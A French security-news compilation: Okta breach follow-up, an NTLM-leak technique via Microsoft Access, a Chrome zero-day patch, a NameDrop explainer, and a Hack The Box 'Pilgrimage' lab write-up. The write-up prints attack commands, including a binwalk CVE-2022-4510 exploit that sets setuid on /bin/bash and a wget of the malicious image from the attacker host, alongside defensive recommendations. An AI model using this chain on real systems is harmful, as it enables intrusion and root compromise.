Suite à l'incident de sécurité survenu entre septembre et octobre 2023, Okta a mené une enquête qui a permis de déterminer que les pirates ont téléchargé des données appartenant à tous les utilisateurs du centre d'assistance Okta. Voici ce que l'on sait.
Pour rappel, cet incident de sécurité est lié à la compromission du compte Google de l'un des salariés d'Okta. Il a permis aux pirates d'accéder au système d'assistance d'Okta et de voler des fichiers HAR pouvant contenir des cookies de session et jetons de clients. Grâce à son enquête, Okta a pu déterminer que ce piratage a impacté 134 clients, ce qui représente 1% du nombre total de clients. Parmi les victimes, il y avait notamment 1Password, Cloudflare et BeyondTrust.
Suite à plusieurs semaines d'enquêtes, Okta a pu en apprendre encore un peu plus sur les conséquences de cet incident de sécurité. Désormais, nous savons que les pirates sont parvenus à télécharger un fichier avec les données personnelles de tous les utilisateurs du système d'assistance d'Okta : "Nous avons déterminé que l'attaquant a exécuté et téléchargé un rapport contenant les noms et les adresses électroniques de tous les utilisateurs du système d'assistance d'Okta.", peut-on lire sur le site officiel d'Okta.
Le pirate a généré ce rapport le 28 septembre 2023 et ce dernier contient les informations suivantes sur les clients d'Okta : nom, prénom, identifiant, adresse e-mail, adresse, numéro de téléphone, dernière connexion, date de création, date du dernier changement de mots de passe, et le SAML Federation ID. D'ailleurs, Okta précise qu'aucun identifiant n'est présent dans cette fuite de données. "Pour 99,6 % des utilisateurs figurant dans le rapport, les seules informations de contact enregistrées sont le nom complet et l'adresse électronique.", peut-on lire sur le site d'Okta.
Puisque le pirate a pu récupérer le nom complet et l'adresse électronique des utilisateurs, il y a de fortes chances pour que ces informations soient exploitées au sein d'une campagne de phishing. Enfin, Okta recommande à tous ses utilisateurs d'activer le MFA sur leur compte afin d'en renforcer la sécurité et de configurer l'expiration des sessions admins (au bout de 12 heures ou 15 minutes d'inactivité). À ce sujet, 94% des clients d'Okta ont déjà activé le MFA sur leur compte.
Une nouvelle fois, des chercheurs en sécurité ont mis en lumière les faiblesses du protocole NTLM. Dans ce cas, un fichier Microsoft Access est utilisé pour forcer l'authentification du client sur un serveur. Faisons le point sur cette technique.
La technique d'attaque mise au point par les chercheurs en sécurité de chez Check Point s'appuie sur l'utilisation de l'application Microsoft Access. Pour rappel, Access est une application intégrée à la suite Microsoft Office permettant de gérer des bases de données. Parmi ses fonctionnalités, la possibilité de se connecter à des sources de données externes (une instance SQL Server, par exemple), via le connecteur ODBC.
Justement, c'est cette fonctionnalité qui peut être abusée par un attaquant : lier une table à partir d'une instance SQL Server externe. Dans le rapport de Check Point, Haifei Li précise : "Cette fonction peut être utilisée de manière abusive par des attaquants pour divulguer automatiquement les jetons NTLM de l'utilisateur Windows à n'importe quel serveur contrôlé par un attaquant, via n'importe quel port TCP, tel que le port 80." - Le fait d'utiliser un port "générique" comme le port 80 associé au HTTP permettra de contourner les politiques de sécurité de la majorité des firewalls.
Pour mettre au point cette attaque, l'utilisateur doit ouvrir un fichier Microsoft Access, au format .accdb ou au format .mdb. Même si, Haifei Lie précise : "En fait, n'importe quel type de fichier Office plus courant (tel qu'un fichier .rtf ) peut également fonctionner." - Voici un schéma qui illustre le processus de cette attaque :
Source : Check Point
Dans ce cas, un document Word est utilisé et il effectue la liaison à Access via le mécanisme OLE (que l'on peut utiliser en entreprise pour faire du publipostage). Si l'utilisateur se fait piéger et qu'il clique sur l'élément lié dans le document Word, l'appareil de l'utilisateur contactera le serveur contrôlé par l'attaquant pour s'authentifier ! Ceci va permettre à l'attaquant de relayer les échanges associés au processus d'authentification NTLM, entre le client et un serveur de l'entreprise (via le protocole NTLM). Au final, l'attaquant aura forcé le client à s'authentifier sur ce serveur !
Comment se protéger ?
Dans le rapport de Check Point, nous pouvons lire : "Nous avons reproduit avec succès l'attaque sur tous les environnements Windows + Office par défaut disponibles, y compris le dernier environnement Windows 10/11 + Office 2021." - Alors, comment se protéger ?
Toutefois, il est précisé qu'une version spécifique de Microsoft Office bloque cette tentative et affiche un avertissement : la version 2306, build 16529.20182. Mais, il est difficile de savoir quelles sont les versions qui ont eu le droit à un correctif, et celles qui ne l'ont pas eu : Microsoft doit avoir la réponse. Sinon, du côté du service de micro-patching 0patch, il y a des correctifs (non officiels) pour plusieurs versions : Office 2010, Office 2013, Office 2016, Office 2019.
Une nouvelle mise à jour de sécurité est disponible pour Google Chrome ! En effet, Google a corrigé la 6ème vulnérabilité zero-day de l'année 2023 au sein de son navigateur ! Faisons le point sur cette faille de sécurité.
Tout d'abord, sachez qu'il existe déjà un exploit pour cette faille de sécurité zero-day associée à la référence CVE-2023-6345. Au sein de son bulletin de sécurité, Google l'a clairement précisé : "Google sait qu'il existe un exploit pour la CVE-2023-6345 dans la nature." - Cette vulnérabilité est déjà exploitée.
Découverte par Benoît Sevens et Clément Lecigne de Google Threat Analysis Group, cette faille de sécurité de type "integer overflow" se situe dans Skia, une bibliothèque open source d'images vectorielles en 2D codée en C++. D'ailleurs, ce n'est pas la première fois qu'une faille de sécurité est découverte dans Skia. Nous n'avons plus de précision sur cette vulnérabilité : c'est le comportement habituel de Google afin de ne pas exposer les utilisateurs et leur laisser le temps d'effectuer la mise à jour.
Par ailleurs, sur la page Wikipédia de Skia, il est mentionné que cette bibliothèque est également utilisée par Mozilla Firefox : si c'est le cas, c'est probable que la vulnérabilité affecte aussi ce navigateur.
Comment se protéger ?
Google a mis en ligne une nouvelle version de Chrome. D'accord, mais laquelle ? Ou plutôt, lesquelles, car il y a des versions pour Windows, macOS et Linux. Voici les versions à installer (à minima) pour vous protéger :
Windows : 119.0.6045.199/.200
macOS et Linux : 119.0.6045.199
Au-delà de corriger la faille de sécurité CVE-2023-6345 faisant l'objet de cet article, sachez que cette version corrige 7 vulnérabilités au total.
Pour rechercher les mises à jour, ouvrez le menu du navigateur à l'aide du bouton avec les trois points verticaux en haut à droite, puis sous "Aide", cliquez sur "A propos de Google Chrome". Vous savez ce qu'il vous reste à faire.
Sur le Web, nous pouvons voir de nombreux articles et messages circuler où les utilisateurs sont encouragés à désactiver au plus vite la fonctionnalité NameDrop intégrée par Apple au sein d'iOS 17. Mais pourquoi ?
C'est quoi la fonctionnalité NameDrop
Au mois de septembre dernier, Apple a lancé ses nouveaux iPhone 15 ainsi qu'une nouvelle version du système d'exploitation iOS. Au sein d'iOS 17.1, il y a une nouvelle fonctionnalité nommée NameDrop dont l'objectif est de faciliter le partage d'informations de contact entre deux personnes.
Plus précisément, il s'agit de partager sa fiche contact, ou sa carte de visite numérique, si vous préférez : avec son nom, son prénom, son numéro de téléphone, etc. Pour cela, il suffit de rapprocher les deux appareils : deux iPhone, ou un iPhone et une montre connectée Apple Watch, par exemple.
Sous iOS 17, NameDrop est activé par défaut.
Est-ce qu'elle représente un risque ?
Récemment, des policiers américains ont émis une alerte au sujet de cette fonctionnalité et ils diffusent des messages de prévention. D'après eux, il faut absolument la désactiver sinon un inconnu pourrait voler les informations de contact d'une personne à son insu, simplement en étant à proximité.
Depuis, il y a eu de nombreux messages qui vont en ce sens sur les réseaux sociaux, que ce soit sur X (Twitter), LinkedIn, et même TikTok avec des vidéos alarmistes (probablement pour faire le buzz). Pourtant, il n'y a pas de raison de s'inquiéter.
Apple n'a pas bâclé le développement de la fonctionnalité NameDrop. Au moment de partager vos informations, deux boutons s'affichent sur l'écran de l'appareil de l'utilisateur. Un premier bouton nommé "Recevoir uniquement" qui permet de recevoir les données de contact de l'autre personne sans partager les siennes. Un deuxième bouton nommé "Partager" qui permet un échange mutuel des informations. Ensuite, cet échange nécessite quelques secondes et les appareils doivent être déverrouillés.
Autrement dit, un inconnu ne peut pas voler vos informations de contact simplement en passant près de vous...
Comment désactiver NameDrop ?
Si vous n'aimez pas de cette fonctionnalité ou que vous n'envisagez pas de l'utiliser, vous avez toujours la possibilité de la désactiver dans les options d'iOS.
Accédez aux réglages généraux, puis cliquez sur "AirDrop" afin de désactiver l'option "Approchant les appareils" située sous "Commencez le partage en...".
Dans cet article, je vous propose la résolution de la machine Hack The Box Pilgrimage, de difficulté "Facile".
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs.
Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et de ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Technologies abordées
Linux, web, PHP
Outils utilisés
nmap, ffuf, GitTools, searchsploit, CVE
II. Résolution de la box Pilgrimage
A. Découverte et énumération
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible (10.10.11.219). Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.219
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
La surface d'attaque est relativement réduite mais contient tout de même un service d'administration. Nous découvrons notamment l’existence d'un vhost valide sur la cible. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver facilement.
$ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts
Nous avons donc deux services exposés. J'utilise à présent l'outil ffuf, qui est un outil d'énumération de fichier/dossier web sous Linux. À l'aide de wordlists (dictionnaires ou listes de mots), je tente de trouver des dossiers ou fichiers valides sur le vhost découvert.
Vous l'aurez compris, pour l'attaquant, l'objectif est dans un premier temps d'obtenir le plus d'informations possible sur sa cible, avoir une vue exhaustive de tout ce qui constitue la surface d'attaque de sa cible afin de ne manquer aucune porte d'entrée potentielle. Pour en savoir plus sur ce qu'est la surface d'attaque, je vous oriente vers cet article : Analyse et réduction de la surface d'attaque.
J'utilise notamment l'excellente ressource SecLists de Daniel Miessler, qui contient des tas de wordlists à utiliser en fonction du service à attaquer.
Grâce à cette énumération, nous découvrons l'existence d'un dossier .git sur le service web. Le dossier .git contient l'intégralité de l'historique des versions d'un projet, y compris des informations sensibles telles que les fichiers de configuration, les mots de passe de base de données, etc. Cela peut donc conduire à de graves fuites d'informations. Nous pouvons récupérer des informations intéressantes dans ce type de dossier, notamment s'il provient des dépôts de code interne de l'entreprise. J'utilise notamment les scripts de GitTools pour télécharger et extraire les informations à partir d'une arborescence de fichier git.
Dans la réalité, ce type de fuite d'information est loin d'être rare, il existe même des Google Dorks pour découvrir les répertoires .git indexés par Google.
On voit ici que GitTools extrait toute l'arborescence git du projet, notamment avec les commits, les différentes versions, etc. Je vous oriente vers cet article pour en savoir plus sur les fichiers présents dans un .git : Git Part 3: Discover the .git Folder.
Le script extractor de GitTools peut ensuite être utilisé pour extraire les fichiers présents dans le dépôt à partir des différents commits :
Nous nous retrouvons donc avec une partie des fichiers de l'application web et notamment son code source ! Plutôt pratique lorsque l'on souhaite s'attaquer à une application web d'avoir son code source à disposition.
À ce propos, il est peut être temps de s'intéresser à ce que fait cette application web !
B. Exploitation de l'application web
En se rendant sur l'application web, nous constatons qu'un formulaire de dépôt de fichier est présent :
Ces fonctionnalités sont toujours très intéressantes pour les attaquants, car si elles contiennent des faiblesses, l'attaquant pourra directement déposer du code malveillant sur le serveur web. Il faut également ici prendre note du "Shrink", qui signifie "rétrécir". Cela signifie que l'image que l'on dépose est modifiée automatiquement pour être rétrécie, ce qui est aussi assez fréquent pour régler des problématiques de taille et poids d'images.
À partir des données présentes dans le code source récupéré précédemment, nous pouvons extraire tout à un tas d'informations très utiles, et notamment l'utilisation de la bibliothèque imageMagick, utilisée pour la manipulation des images :
Cela rappellera de mauvais souvenirs à toute personne ayant travaillé dans la cybersécurité en 2016 : la libraire ImageMagick et sa vulnérabilité ImageTragick (CVE-2016–3714). Étant donné que nous avons récupéré le dépôt git de l'application, nous disposons également du binaire ImageMagick qui est utilisé pour traiter les images et nous pouvons récupérer sa version :
Avec ce numéro de version, nous pouvons effectuer une recherche des vulnérabilités connues grâce à searchsploit :
Grâce à cette ressource, nous disposons d'un PoC (preuve de concept) utilisable et des détails techniques de la vulnérabilité, un jeu d'enfant donc ! Dernier élément du puzzle, quel fichier lire ? Nous disposons déjà du code source de l'application, il y a de grandes chances pour que le service web soit exécuté sous www-data, qui a des droits de lecture restreints sur le système… Si l'on se penche à nouveau sur le code source de l'application, nous pouvons identifier un fichier intéressant :
Une base de données sqlite, qui sera forcément lisible par le service web puisqu'il n'a pas besoin de service pour lire une base de données sqlite, c'est le code de l'application qui interagit en direct avec ce type de fichier.
Cette vulnérabilité consiste à exploiter un défaut dans le parsing des fichiers d'imageMagick. Il est possible de faire en sorte qu'imageMagick intègre dans l'image qu'il génère (par exemple lors du redimensionnement d'une image), un fichier dont nous contrôlons le nom. Par exemple, j'ajoute à mon image 1.png un champ texte "profile" contenant "/etc/hosts" via l'outil pngcrush :
Je dépose ce fichier sur le serveur, qui va redimensionner mon image, puis je retélécharge l'image générée par l'application web. J'y récupère notamment un bloc de texte hexadécimal qui sera le contenu du fichier intégré via l'exploitation de la vulnérabilité. Le contenu hexadécimal peut être décodé en un fichier /etc/hosts provenant de la cible.
Maintenant que nous avons validé le fonctionnement de l'attaque, nous pouvons réitérer l'opération pour récupérer la base de données de l'application /var/db/pilgrimage. J'utilise également un petit script Python pour convertir l'hexadécimal récupéré en fichier sqlite. Nous parvenons à obtenir des identifiants, comme le montre l'image ci-dessous.
Ils fonctionnent ! Nous avons à présent un premier accès à la machine. Ici, plusieurs opérations d'énumération sont généralement menées par l'attaquant. Celui-ci va chercher à savoir où il a atterri et quelles peuvent être les prochaines étapes pour élever ses privilèges sur le système compromis et pour rebondir sur le reste du réseau.
Les opérations d'énumération d'un attaquant sur les systèmes d'exploitation Linux sont généralement assez verbeuses du point de vue des solutions de sécurité (IDS, EDR, etc.). La consultation d'un fichier ou l'exécution de commandes d'énumération (ip, whoami, ps, etc.) sont assez faciles à monitorer de nos jours. Encore faut-il avoir mis en place ces solutions et regarder les alertes qu'elles génèrent !
Regardons par exemple quels sont les processus en cours d'exécution :
Le script /usr/sbin/malwarescan.sh me semble inhabituel, de plus il tourne en tant que root et nous pouvons lire son contenu :
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
À première vue il n'y a pas de vulnérabilité dans le script, les binaires utilisés sont bien spécifiés avec leur chemin absolu. Si l'on s'attarde sur ce qu'il fait concrètement : on peut noter qu'il utilise inotifywait pour être averti de la création d'un fichier dans le dossier de dépôt de fichier de l'application web. Puis il utilise binwalk sur les fichiers nouvellement créés pour en extraire des fichiers éventuellement cachés. Il supprime enfin les fichiers qu'il juge indésirables (ici les exécutables Windows). Le script est donc exécuté par root à chaque fois qu'une image est déposée.
On peut toutefois aller un peu plus loin et se rappeler que le binaire binwalk sera exécuté en tant que root sur le système. Regardons si l'on peut obtenir sa version :
Nous pouvons étudier cette vulnérabilité et déposer le code d'exploitation sur notre cible : CVE-2022-4510. Elle permet de faire exécuter du code par binwalk lorsqu'il traite un fichier :
# Sur la machine d'attaque, téléchargement du PoC
$ git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git
# Création d'une image malveillant avec une charge utile
$ python3 walkingpath.py command --command "chmod +s /bin/bash" ../64e4ba1a882ca.png
# Création d'un mini serveur web
$ python3 -m http.server
Vous l'aurez compris, mon attaque va consister à ajouter le bit setuid au binaire /bin/bash, ce qui permettra à tout utilisateur de l'exécuter avec les droits de son propriétaire, à savoir "root".
# Téléchargement de l'image malveillante
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://10.10.14.116:8000/binwalk_exploit.png
# Utilisation du bit setuid sur /bin/bash pour avoir un accès root
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ /bin/bash -p
bash-5.1# cat /root/root.txt
6[REDACTED]f
Nous avons compromis totalement le système cible. Dans un contexte réaliste, cette opération n'est généralement que la première étape d'une cyberattaque. L'attaquant va ici chercher à extraire un maximum d'information sur le système compromis (base d'authentification locale, information sur le réseau local, le domaine, installation de keylogger) puis tenter de propager sa compromission à d'autres machines, voire à tout le système d'information. Il pourra notamment se servir de ce système comme un moyen de rebond vers le reste du réseau interne, mais aussi de la persistance à long terme (backdoor).
IV. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
Dépôt du fichier malveillant et exécution du payload via binwalk.
IV. Notions abordées
A. Côté attaquant
Ici, nous avons bien été aidé par les versions des binaires à attaquer, il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. La connaissance des outils utilisés par les développeurs et de leurs dangers (ici, git) est également importante pour savoir identifier et exploiter chaque faiblesse.
Concernant l'élévation de privilège, le piège était ici de s'acharner sur les instructions bash du script sans se soucier des binaires utilisés, il fallait garder à l’esprit qu'eux aussi sont exécutés par root et peuvent contenir des faiblesses. Savoir décomposer précisément chaque instruction du script et isoler les composants "tiers" est donc important. C'est aussi le cas pour l'application web et l'utilisation d'ImageMagick.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : La recommandation principale serait de mettre à jour les composants du système et de l'application web. Un focus spécial sur le binaire ImageMagick doit être mentionné, car il s'agit d'un binaire "isolé" qui ne sera pas mis à jour via un simple apt-get update. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information.
Recommandation n°2 : Il peut également être recommandé de revoir le process de déploiement des applications web afin de ne pas laisser traîner de dossier .git dans les applications web en production. Il est également possible de configurer le service web pour qu'il ne permette pas la consultation des dossiers .git, par exemple sous Apache :
<DirectoryMatch "^/.*/\.git/">
Order deny,allow
Deny from all
</DirectoryMatch>
Recommandationn°3 : Enfin, il peut être recommandé d'étudier la possibilité de faire tourner le script malwarescan.sh avec un utilisateur autre que root. Ce script fait en effet interagir l'utilisateur root avec les fichiers potentiellement malveillants déposés par des utilisateurs externes, ce qui n'est jamais recommandé. À première vue, aucune instruction du script ne requiert réellement les privilèges root pour être exécutée.
Recommandation n°4 : En supposant que l'attaquant soit situé sur Internet et que la machine attaquée soit elle aussi exposée sur Internet, nous pouvons recommander de fermer ou fortement restreindre l'accès au service SSH depuis Internet. Il est par exemple à préférer l'exposition uniquement depuis l'interne, l'application d'un filtrage strict par IP source, ou le passage forcé par une connexion VPN.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).
Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
